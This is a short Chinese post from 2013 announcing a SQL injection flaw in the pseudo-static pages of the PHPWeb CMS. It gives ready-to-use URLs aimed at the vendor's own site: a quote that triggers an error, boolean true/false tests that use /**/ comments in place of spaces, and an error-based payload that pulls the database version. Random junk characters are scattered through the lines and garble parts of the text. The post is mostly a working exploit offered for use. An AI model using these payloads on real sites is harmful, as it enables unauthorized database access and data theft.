phpweb伪静态页面注入0day

admin

phpweb所有的整站程序伪静态页面都存在sql注入

- \. g+ m+ j/ m5 h$ l主站：http://phpweb.net/
, o. T/ d- Y3 ?% W加’检测：

% \# X; h; K$ {$ Ihttp://www.phpweb.net/down/html/?772′.html

出错
8 G) @4 f, E' Z: J! k' h" F存在注入。
不能用空格，只能用/*罗
http://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常

, ?' @; \. l( H8 \! r5 v+ k* o3 V1 dhttp://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
爆数据库版本：

?
: n" _" S! V) s- }9 u  P1
  A; \1 {  m  A/ x' ?http://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
更新日期: 2013-01-03 13:39:50